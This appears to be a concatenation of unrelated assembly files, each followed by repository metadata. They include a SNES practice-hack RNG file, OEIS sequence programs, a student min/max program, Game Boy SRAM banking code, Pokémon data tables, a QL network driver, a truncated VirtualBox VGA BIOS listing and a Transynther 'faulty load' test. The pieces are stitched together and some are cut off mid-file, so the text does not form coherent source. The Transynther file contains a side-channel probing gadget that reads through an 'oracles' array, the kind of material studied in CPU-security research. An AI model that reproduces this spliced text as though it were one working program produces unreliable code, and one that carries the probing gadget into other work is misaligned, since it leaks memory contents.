#$0001 RTL } ; Selects a Phantoon pattern from a bitmask (passed in A). choose_phantoon_pattern: { PHX ; push enemy index PHA ; push pattern mask ; get random number in range 0-7 JSL $808111 AND #$0007 TAX ; play a game of eeny-meeny-miny-moe with the enabled patterns ; X = number of enabled patterns to find before stopping ; Y = index in phan_pattern_table of pattern currently being checked ; A = bitmask of enabled patterns .reload: LDA $01,S ; reload pattern mask LDY #$0006 ; number of patterns (decremented immediately to index of last pattern) .loop: DEY LSR BCC .skip ; Pattern index Y is enabled DEX ; is this the last one? BMI .done BRA .loop ; no, keep looping .skip: ; Pattern Y is not enabled, try the next pattern BEQ .reload ; if we've tried all the patterns, start over BRA .loop .done: ; We've found the pattern to use. PLA ; we don't need the pattern mask anymore TYA : ASL : TAX LDA.l phan_pattern_table,X PLX ; pop enemy index ; Check if Phantoon is in the round 2 AI state LDY $0FB2 if !FEATURE_PAL CPY #$D716 else CPY #$D6E2 endif BNE .round1 ; Save the pattern timer, check the direction, ; and set Phantoon's starting point and pattern index. LSR STA $0FE8 BCS .round2left ; Right pattern LDA #$0088 LDY #$00D0 BRA .round2done .round2left LDA #$018F LDY #$0030 .round2done STA $0FA8 ; Index into figure-8 movement table STY $0F7A ; X position LDA #$0060 STA $0F7E ; Y position BRA hook_phantoon_invert .round1 ; Save the pattern timer and check the direction LSR STA $0FE8 BCS .round1left ; Round 1 right pattern SEP #$02 RTL .round1left: REP #$02 RTL } hook_phantoon_eyeclose: { LDA !ram_phantoon_rng_eyeclose : BEQ .no_manip DEC : ASL ; return with 0-slow, 2-mid, 4-fast RTL .no_manip LDA !CACHED_RANDOM_NUMBER AND #$0007 : ASL ; overwritten code RTL } hook_phantoon_flame_pattern: { JSL $808111 ; Trying to preserve the number of RNG calls being done in the frame LDA !ram_phantoon_rng_flames : TAY LDA !ram_phantoon_rng_next_flames : STA !ram_phantoon_rng_flames TYA : STA !ram_phantoon_rng_next_flames : BEQ .no_manip DEC RTL .no_manip LDA !CACHED_RANDOM_NUMBER RTL } hook_botwoon_rng: { JSL $808111 ; Trying to preserve the number of RNG calls being done in the frame LDA !ram_botwoon_rng : BEQ .no_manip RTL .no_manip LDA !CACHED_RANDOM_NUMBER RTL } print pc, " rng end" warnpc $83B400 ; custompresets.asm org $A4F700 print pc, " crocomire rng start" hook_crocomire_rng: { LDA !ram_crocomire_rng : BEQ .no_manip DEC : BEQ .step LDA #$0000 ; return with <400 for swipe RTS .step LDA #$0400 ; return with 400+ for step RTS .no_manip LDA !CACHED_RANDOM_NUMBER RTS } print pc, " crocomire rng end" org $A5FA00 print pc, " draygon rng start" hook_draygon_rng_left: { LDA !ram_draygon_rng_left : BEQ .no_manip DEC ; return with 1-swoop or 0-goop RTS .no_manip LDA !CACHED_RANDOM_NUMBER RTS } hook_draygon_rng_right: { LDA !ram_draygon_rng_right : BEQ .no_manip DEC ; return with 1-swoop or 0-goop RTS .no_manip LDA !CACHED_RANDOM_NUMBER RTS } print pc, " draygon rng end" ; This is actually for preset support instead of RNG ; Keep Ceres Ridley enemy alive even if the main boss flag is set if !FEATURE_PAL org $A6A10C else org $A6A0FC endif LSR : BCC $0F CPX #$0006 : BEQ $0A LDA $0F86 if !FEATURE_PAL org $A6A302 else org $A6A2F2 endif JMP ceres_ridley_draw_metroid if !FEATURE_PAL org $A6A371 else org $A6A361 endif dw ridley_init_hook ; Fix ceres ridley door instruction list to keep door visible when skipping ridley fight if !FEATURE_PAL org $A6F533 dw $F64F, ridley_ceres_door_original_instructions else org $A6F55C dw $F678, ridley_ceres_door_original_instructions endif dw $80ED, ridley_ceres_door_escape_instructions ; Lock ceres ridley door if timer not started or if boss not dead if !FEATURE_PAL org $A6F641 else org $A6F66A endif LDA $0943 : BEQ $F6 LDA $7ED82E org $A6FEC0 print pc, " ridley rng start" ridley_init_hook: { LDA $079B : CMP #$E0B5 : BNE .continue LDA $7ED82E : BIT #$0001 : BEQ .continue ; Ceres Ridley is already dead, so skip to the escape ; We do need to mark Ceres Ridley alive ; to keep the door locked until the timer starts AND #$FFFE : STA $7ED82E ; Clear out the room main asm so it doesn't also trigger the escape STZ $07DF ; Set up the escape timer routine LDA #$0001 : STA $093F LDA #$E0E6 : STA $0A5A ; Jump to the escape if !FEATURE_PAL LDA #$AB47 else LDA #$AB37 endif STA $0FA8 JMP ($0FA8) .continue if !FEATURE_PAL LDA #$A387 else LDA #$A377 endif STA $0FA8 JMP ($0FA8) } ceres_ridley_draw_metroid: { LDA $7ED82E : BIT #$0001 : BNE .end LDA $093F : BNE .end if !FEATURE_PAL JSR $BF2A else JSR $BF1A endif .end if !FEATURE_PAL JMP $A30A else JMP $A2FA endif } ridley_ceres_door_original_instructions: if !FEATURE_PAL dw $F67D dw #$0002, $F9EA dw $F641, $F533 dw $F687 dw $80ED, $F56F else dw $F6A6 dw #$0002, $FA13 dw $F66A, $F55C dw $F6B0 dw $80ED, $F598 endif ridley_ceres_door_escape_instructions: if !FEATURE_PAL dw $F687 dw #$0002, $F9EA dw $F641, $F533 dw $80ED, $F56F else dw $F6B0 dw #$0002, $FA13 dw $F66A, $F55C dw $80ED, $F598 endif print pc, " ridley rng end" org $A7FFB6 print pc, " kraid rng start" hook_kraid_rng: { LDA !ram_kraid_rng : BEQ .no_manip DEC : DEC ; return -1 (laggy) or 0 (laggier) RTS .no_manip LDA !CACHED_RANDOM_NUMBER RTS } kraid_intro_skip: LDA !sram_cutscenes : AND !CUTSCENE_FAST_KRAID : BEQ .noSkip LDA #$0001 JMP kraid_intro_skip_return .noSkip if !FEATURE_PAL LDA #$00FA else LDA #$012C endif JMP kraid_intro_skip_return print pc, " kraid rng end"
18.076453
89
0.645576
[ "Unlicense" ]
NobodyNada/sm_practice_hack
src/rng.asm
11,822
Assembly
; A082694: Partial sums of A082693. ; 1,3,4,6,10,12,13,15,19,27,31,33,34,36,40,48,64,72,76,78,79,81,85,93,109,141,157,165,169,171,172,174,178,186,202,234,298,330,346,354,358,360,361,363,367,375,391,423,487,615,679,711,727,735,739,741,742,744 mov $5,$0 mov $7,$0 add $7,1 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 cal $0,4738 ; Concatenation of sequences (1,2,...,n-1,n,n-1,...,2) for n >= 2. add $1,$0 mov $3,$1 cal $3,53208 ; Row sums of A053207. mov $1,$3 div $1,7 add $1,1 add $6,$1 lpe mov $1,$6
24.090909
205
0.60566
[ "Apache-2.0" ]
karttu/loda
programs/oeis/082/A082694.asm
530
Assembly
segment .data a: dq 0 b: dq 0 c: dq 0 cnt: dq 0 fmt: dq "Largest number %lld was found at location %lld ",10,0 fmt1: dq " smallest number %lld was found at location %lld " ,10, 0 fmt_in: dq "%lld", 0 fmt_out: dq "THE SUM IS: %lld", 10, 0 segment .bss array resq 21 segment .text global main extern printf extern scanf main: push RBP mov RAX, 0 mov RCX, 0 mov RBX, 0 INPUT: cmp RCX, 5 jz init push RCX mov RAX, 0 mov RDI, fmt_in mov RSI, a call scanf mov RAX, [a] pop rcx mov [array+RCX*8], RAX inc RCX jmp INPUT init: mov RAX, -1000000 mov RCX, 0 mov rdx, 0 mov [a] ,rax largestnum: cmp RCX, 5 jz print mov RAX, [array+RCX*8] mov rbx ,[a] cmp rax ,rbx jge firststep lastpart: inc RCX jmp largestnum firststep: mov [a] , rax mov [b] , rcx jmp lastpart print: mov rax , [a] mov rdi ,fmt mov rsi ,rax mov rdx ,[b] call printf secondinit: mov RAX, 1000000 mov RCX, 0 mov rdx, 0 mov [a] ,rax smallestnum: cmp RCX, 5 jz secondprint mov RAX, [array+RCX*8] mov rbx ,[a] cmp rbx, rax jge secondstep finalpart: inc RCX jmp smallestnum secondstep: mov [a] , rax mov [b] , rcx jmp finalpart secondprint: mov rax , [a] mov rdi ,fmt1 mov rsi ,rax mov rdx ,[b] call printf END: mov RAX, 0 pop RBP ret
13.329787
67
0.65842
[ "MIT" ]
zaoad/assembly-
assemblylabarray1/5largest_smallest_number.asm
1,253
Assembly
; === main_wram.asm ; WRAM functions. Mostly stuff related to SRAM bank switching SECTION "WRAM", ROM0[$DA80] ; Restart (or start) the game. GameStart: ld a, 3 call SwitchSRAMBank jp $a000 ; Several variables for keeping track of SRAM banking. CurrentSRAMBank: db 0 SavedSRAMBank: db 0 ; Set to nonzero if serial transmissions are interactive ; (that is, if they're cancellable with the B button) SerialIsInteractive: db 0 ; Serial functions include "engine/serial.asm" ; Switch to the SRAM bank in A SwitchSRAMBank: push af ld a, $0a ld [$0000], a pop af ld [$4000], a ld [CurrentSRAMBank], a ; Fall through to WRAMEmptyScript ; A plain RET instruction in WRAM, so it never switches out. ; Used in some map scripts. WRAMEmptyScript: ret ; A function table for several commonly used subroutines. ; Each of these stubs will pass execution to TrampolineSRAM2, ; which will handle SRAM bank switching PlayMusicFromRAM: trampoline2 _PlayMusicFromRAM PrintTextEnhanced: trampoline2 _PrintTextEnhanced PrintChoiceMenu: trampoline2 _PrintChoiceMenu PrintInputMenu: trampoline2 _PrintInputMenu PredefCmd: trampoline2 _PredefCmd SerialInteractiveTransfer: trampoline2 _SerialInteractiveTransfer PutString: trampoline2 _PutString ItemUse3F: trampoline2 _ItemUse3F ItemUse4F: trampoline2 _ItemUse4F ItemUse5F: trampoline2 _ItemUse5F TrampolineSRAM2: ; Clever self-modifying code to have a dynamic subroutine call, ; while preserving all of the registers push af push hl ld hl, .trickyDicky + 1 ld [hl], e inc hl ld [hl], d ld a, [CurrentSRAMBank] ld [SavedSRAMBank], a ld a, 2 call SwitchSRAMBank pop hl pop af ; de previously pushed by trampoline2 pop de .trickyDicky call $1337 .return push af ld a, [SavedSRAMBank] ld [CurrentSRAMBank], a call SwitchSRAMBank pop af ret ; Read byte at address HL from the parent SRAM bank. ; Return in A. Takes care not to clobber any registers. ReadFromSavedSRAM: push bc ld a, [CurrentSRAMBank] ld b, a ld a, [SavedSRAMBank] call SwitchSRAMBank ld a, [hl] ld c, a ld a, b ld [CurrentSRAMBank], a call SwitchSRAMBank ld a, c pop bc ret ; Write A to address HL in the parent SRAM bank. ; Takes care not to clobber any registers except A. WriteToSavedSRAM: push bc push af ld a, [CurrentSRAMBank] ld b, a ld a, [SavedSRAMBank] call SwitchSRAMBank pop af ld [hl], a ld a, b ld [CurrentSRAMBank], a call SwitchSRAMBank pop bc ret ; Copy the packet at HL to StandardSerialBuffer and fix its checksum. PrepareSerialBuffer: ld de, StandardSerialBuffer push de ld bc, 128 call CopyData pop hl push hl call FixSerialChecksum pop hl ret ; Call HL in SRAM bank 3. Restore original bank upon returning. CallInSRAM3: ld a, 3 call SwitchSRAMBank ld de, .return push de jp hl .return ld a, 2 jp SwitchSRAMBank ; Do a serial request, reading the packet from StandardSerialBuffer SerialRequest: ld hl, StandardSerialBuffer jp SerialTransmitBlock ; Display a custom text engine textbox and end the text script. ; For use in map scripts, to construct single-textbox NPCs easier EnhancedTextOnly: inc hl inc hl inc hl call PrintTextEnhanced jp TextScriptEnd ; Proxy for DefaultMapScript - it ensures the correct SRAM bank is loaded DefaultMapScript: ld a, 3 call SwitchSRAMBank jp _DefaultMapScript ; Return from a subroutine, while switching the SRAM bank to 3 ReturnToSRAM3: ld a, 3 jp SwitchSRAMBank ; Proxy for StartLoadingMap - it ensures the correct SRAM bank is loaded StartLoadingMap: ld a, 3 call SwitchSRAMBank jp _StartLoadingMap
20.128205
73
0.695796
[ "MIT" ]
stranck/fools2018-1
savefile/main_wram.asm
3,925
Assembly
; ; Copyright (c) 2021 Alain (@AlainPlusPlus) ; ; Programa básico de "hello, world!" en español. ; ;Define variables en sección de datos section .data hello db '¡Hola, mundo!',10 ;nuestra cadena helloLen equ $- hello ;longitud de nuestra cadena ;Código va en la sección de texto section .text global _start _start: mov eax, 4 ; 'write' llamada al sistema = 4 mov ebx, 1 ; descriptor de archivo 1 = STDOUT mov ecx, hello ; mensaje a escribir mov edx, helloLen ; longitud del mensaje a escribir int 80h ; llamada al kernel (interrupción) ;Termina programa mov eax, 1 ; 'exit' llamada al sistema = 1 mov ebx, 0 ; finaliza con código de error = 0 int 80h ; llamada al kernel (interrupción)
27.407407
54
0.682432
[ "MIT" ]
AlainPlusPlus/assembly-course
codigo/x86/NASM/hola.asm
749
Assembly
IslandMonsB4: db $0A IF DEF(_BLUE) db 31,KRABBY db 31,SHELLDER db 33,KRABBY db 33,JYNX db 29,SLOWPOKE db 31,SEEL db 31,SLOWPOKE db 29,SEEL db 39,SLOWBRO db 37,KINGLER ELSE db 31,KRABBY db 31,STARYU db 33,KRABBY db 33,STARYU db 29,PSYDUCK db 31,SEEL db 31,PSYDUCK db 29,SEEL db 39,GOLDUCK db 37,KINGLER ENDC db $05 db 15,TENTACOOL db 10,TENTACOOL db 15,TENTACOOL db 10,TENTACOOL db 15,TENTACOOL db 20,TENTACOOL db 25,TENTACOOL db 30,TENTACRUEL db 35,TENTACRUEL db 40,TENTACRUEL
13.756757
17
0.732809
[ "MIT" ]
ETDV-TheVoid/pokemon-rgb-enhanced
data/wildPokemon/seafoamislandb4.asm
509
Assembly
db DEX_WIGGLYTUFF ; pokedex id db 140 ; base hp db 70 ; base attack db 45 ; base defense db 45 ; base speed db 50 ; base special db NORMAL ; species type 1 db NORMAL ; species type 2 db 50 ; catch rate db 109 ; base exp yield INCBIN "pic/ymon/wigglytuff.pic",0,1 ; 66, sprite dimensions dw WigglytuffPicFront dw WigglytuffPicBack ; attacks known at lvl 0 db SING db DISABLE db DEFENSE_CURL db DOUBLESLAP db 4 ; growth rate ; learnset tmlearn 1,5,6,8 tmlearn 9,10,11,12,13,14,15 tmlearn 17,18,19,20,22,24 tmlearn 25,29,30,31,32 tmlearn 33,34,38,40 tmlearn 44,45,46 tmlearn 49,50,54,55 db BANK(WigglytuffPicFront)
21.344828
60
0.746365
[ "Unlicense" ]
adhi-thirumala/EvoYellow
data/baseStats_original/wigglytuff.asm
619
Assembly
; A174902: Denominator of 1 - 1/n^2, using 0 at the pole where n=0. ; 1,0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025 sub $0,1 pow $0,2 mov $1,$0
40.714286
187
0.701754
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/174/A174902.asm
285
Assembly
; A274716: a(2*n+1) = a(2*floor(n/2)+1) + n, a(2*n) = a(n), for n>=1 with a(1)=0. ; 0,0,1,0,3,1,4,0,7,3,8,1,10,4,11,0,15,7,16,3,18,8,19,1,22,10,23,4,25,11,26,0,31,15,32,7,34,16,35,3,38,18,39,8,41,19,42,1,46,22,47,10,49,23,50,4,53,25,54,11,56,26,57,0,63,31,64,15,66,32,67,7,70,34,71,16,73,35,74,3,78,38,79,18,81,39,82,8,85,41,86,19,88,42,89,1,94,46,95,22 mul $0,2 mov $1,1 lpb $0 div $0,2 add $1,$0 gcd $2,$1 div $1,$2 lpe sub $1,1 mov $0,$1
32.142857
271
0.568889
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/274/A274716.asm
450
Assembly
; A344336: Number of divisors of n^9. ; Submitted by Christian Krause ; 1,10,10,19,10,100,10,28,19,100,10,190,10,100,100,37,10,190,10,190,100,100,10,280,19,100,28,190,10,1000,10,46,100,100,100,361,10,100,100,280,10,1000,10,190,190,100,10,370,19,190,100,190,10,280,100,280,100,100,10,1900,10,100,190,55,100,1000,10,190,100,1000,10,532,10,100,190,190,100,1000,10,370,37,100,10,1900,100,100,100,280,10,1900,100,190,100,100,100,460,10,190,190,361 add $0,1 mov $1,1 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 add $5,9 lpe mul $1,$5 lpe mov $0,$1
23.806452
372
0.602981
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/344/A344336.asm
738
Assembly
; A134062: Row sums of triangle A134061. ; 1,8,18,38,78,158,318,638,1278,2558,5118,10238,20478,40958,81918,163838,327678,655358,1310718,2621438,5242878,10485758,20971518,41943038,83886078,167772158,335544318,671088638,1342177278,2684354558,5368709118,10737418238,21474836478,42949672958,85899345918,171798691838,343597383678,687194767358,1374389534718,2748779069438,5497558138878,10995116277758,21990232555518,43980465111038,87960930222078,175921860444158,351843720888318,703687441776638,1407374883553278,2814749767106558,5629499534213118,11258999068426238,22517998136852478,45035996273704958,90071992547409918,180143985094819838,360287970189639678,720575940379279358,1441151880758558718,2882303761517117438,5764607523034234878,11529215046068469758,23058430092136939518,46116860184273879038,92233720368547758078,184467440737095516158,368934881474191032318,737869762948382064638,1475739525896764129278,2951479051793528258558,5902958103587056517118,11805916207174113034238,23611832414348226068478,47223664828696452136958,94447329657392904273918,188894659314785808547838,377789318629571617095678,755578637259143234191358,1511157274518286468382718,3022314549036572936765438,6044629098073145873530878,12089258196146291747061758,24178516392292583494123518,48357032784585166988247038,96714065569170333976494078,193428131138340667952988158,386856262276681335905976318,773712524553362671811952638,1547425049106725343623905278,3094850098213450687247810558,6189700196426901374495621118,12379400392853802748991242238,24758800785707605497982484478,49517601571415210995964968958,99035203142830421991929937918,198070406285660843983859875838,396140812571321687967719751678,792281625142643375935439503358,1584563250285286751870879006718,3169126500570573503741758013438 mov $1,2 pow $1,$0 lpb $0 mov $0,0 mul $1,5 lpe add $0,$1 trn $0,3 add $0,1
141
1,710
0.917621
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/134/A134062.asm
1,833
Assembly
* Network server driver V0.0  1985 Tony Tebby QJUMP * section nd * xdef ns_io IO entry xdef ns_open open entry * xref nd_read0 read a packet xref nd_send0 send a packet * include dev8_dd_qlnd_keys * * Open nsv channel * ns_open sub.l a3,a3 point to parameters!! move.w io.name,a2 and decode the name jsr (a2) bra.s nso_exit ... oops bra.s nso_exit ... oops bra.s nso_do ... NET recognised * dc.w 3,'NSV' name is nsv dc.w 0 no parameters * nso_do move.l #nd_fend,d1 allocate large net block move.w mm.alchp,a2 allocate in common heap jsr (a2) bne.s nso_rts * moveq #$ffffff80,d5 set msb of station or.b sv_netnr(a6),d5 move.b d5,nd_self(a0) set myself nso_exit nso_rts rts * * Network IO * ns_io lea nd_data(a0),a1 set block pointer subq.b #io.fstrg,d0 fetch? beq.s ns_read ... yes, read packet move.l a2,d1 find length of packet sub.l a1,d1 move.b d2,nd_type(a0) set type addq.b #-nf.sblk,d2 is it send block? bne.s ns_send ... no addq.w #3,d1 ... yes, length in long words lsr.w #2,d1 ns_send move.b d1,nd_nbyt(a0) set length bra.l nd_send0 then send packet * ns_read move.b nd_self(a0),nd_dest(a0) read from anybody bsr.l nd_read0 read packet move.b nd_type(a0),d1 set type rts end
31.467742
69
0.447463
[ "BSD-2-Clause" ]
olifink/smsqe
dd/qlnd/nsv.asm
1,951
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %rax push %rdx lea addresses_WC_ht+0x1e243, %r11 clflush (%r11) add %rax, %rax mov $0x6162636465666768, %rdx movq %rdx, %xmm7 vmovups %ymm7, (%r11) inc %r8 pop %rdx pop %rax pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r8 push %rcx push %rdi // Faulty Load lea addresses_US+0x15f43, %rcx clflush (%rcx) nop nop nop nop nop cmp %r14, %r14 mov (%rcx), %r11d lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rdi pop %rcx pop %r8 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
67.316667
2,999
0.663035
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1255.asm
4,039
Assembly
; $Id: VBoxVgaBiosAlternative286.asm $ ;; @file ; Auto Generated source file. Do not edit. ; ; ; Source file: vgarom.asm ; ; ============================================================================================ ; ; Copyright (C) 2001,2002 the LGPL VGABios developers Team ; ; This library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; ; ============================================================================================ ; ; This VGA Bios is specific to the plex86/bochs Emulated VGA card. ; You can NOT drive any physical vga card with it. ; ; ============================================================================================ ; ; ; Source file: vberom.asm ; ; ============================================================================================ ; ; Copyright (C) 2002 Jeroen Janssen ; ; This library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public ; License as published by the Free Software Foundation; either ; version 2 of the License, or (at your option) any later version. ; ; This library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with this library; if not, write to the Free Software ; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; ; ============================================================================================ ; ; This VBE is part of the VGA Bios specific to the plex86/bochs Emulated VGA card. ; You can NOT drive any physical vga card with it. ; ; ============================================================================================ ; ; This VBE Bios is based on information taken from : ; - VESA BIOS EXTENSION (VBE) Core Functions Standard Version 3.0 located at www.vesa.org ; ; ============================================================================================ ; ; Source file: vgabios.c ; ; // ============================================================================================ ; ; vgabios.c ; ; // ============================================================================================ ; // ; // Copyright (C) 2001,2002 the LGPL VGABios developers Team ; // ; // This library is free software; you can redistribute it and/or ; // modify it under the terms of the GNU Lesser General Public ; // License as published by the Free Software Foundation; either ; // version 2 of the License, or (at your option) any later version. ; // ; // This library is distributed in the hope that it will be useful, ; // but WITHOUT ANY WARRANTY; without even the implied warranty of ; // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; // Lesser General Public License for more details. ; // ; // You should have received a copy of the GNU Lesser General Public ; // License along with this library; if not, write to the Free Software ; // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; // ; // ============================================================================================ ; // ; // This VGA Bios is specific to the plex86/bochs Emulated VGA card. ; // You can NOT drive any physical vga card with it. ; // ; // ============================================================================================ ; // ; // This file contains code ripped from : ; // - rombios.c of plex86 ; // ; // This VGA Bios contains fonts from : ; // - fntcol16.zip (c) by Joseph Gil avalable at : ; // ftp://ftp.simtel.net/pub/simtelnet/msdos/screen/fntcol16.zip ; // These fonts are public domain ; // ; // This VGA Bios is based on information taken from : ; // - Kevin Lawton's vga card emulation for bochs/plex86 ; // - Ralf Brown's interrupts list available at http://www.cs.cmu.edu/afs/cs/user/ralf/pub/WWW/files.html ; // - Finn Thogersons' VGADOC4b available at http://home.worldonline.dk/~finth/ ; // - Michael Abrash's Graphics Programming Black Book ; // - Francois Gervais' book "programmation des cartes graphiques cga-ega-vga" edited by sybex ; // - DOSEMU 1.0.1 source code for several tables values and formulas ; // ; // Thanks for patches, comments and ideas to : ; // - techt@pikeonline.net ; // ; // ============================================================================================ ; ; Source file: vbe.c ; ; // ============================================================================================ ; // ; // Copyright (C) 2002 Jeroen Janssen ; // ; // This library is free software; you can redistribute it and/or ; // modify it under the terms of the GNU Lesser General Public ; // License as published by the Free Software Foundation; either ; // version 2 of the License, or (at your option) any later version. ; // ; // This library is distributed in the hope that it will be useful, ; // but WITHOUT ANY WARRANTY; without even the implied warranty of ; // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; // Lesser General Public License for more details. ; // ; // You should have received a copy of the GNU Lesser General Public ; // License along with this library; if not, write to the Free Software ; // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ; // ; // ============================================================================================ ; // ; // This VBE is part of the VGA Bios specific to the plex86/bochs Emulated VGA card. ; // You can NOT drive any physical vga card with it. ; // ; // ============================================================================================ ; // ; // This VBE Bios is based on information taken from : ; // - VESA BIOS EXTENSION (VBE) Core Functions Standard Version 3.0 located at www.vesa.org ; // ; // ============================================================================================ ; ; Oracle LGPL Disclaimer: For the avoidance of doubt, except that if any license choice ; other than GPL or LGPL is available it will apply instead, Oracle elects to use only ; the Lesser General Public License version 2.1 (LGPLv2) at this time for any software where ; a choice of LGPL license versions is made available with the language indicating ; that LGPLv2 or any later version may be used, or where a choice of which version ; of the LGPL is applied is otherwise unspecified. ; section VGAROM progbits vstart=0x0 align=1 ; size=0x8fd class=CODE group=AUTO db 055h, 0aah, 040h, 0e9h, 063h, 00ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 049h, 042h db 04dh, 000h vgabios_int10_handler: ; 0xc0022 LB 0x54e pushfw ; 9c cmp ah, 00fh ; 80 fc 0f jne short 0002eh ; 75 06 call 0017ah ; e8 4f 01 jmp near 000eah ; e9 bc 00 cmp ah, 01ah ; 80 fc 1a jne short 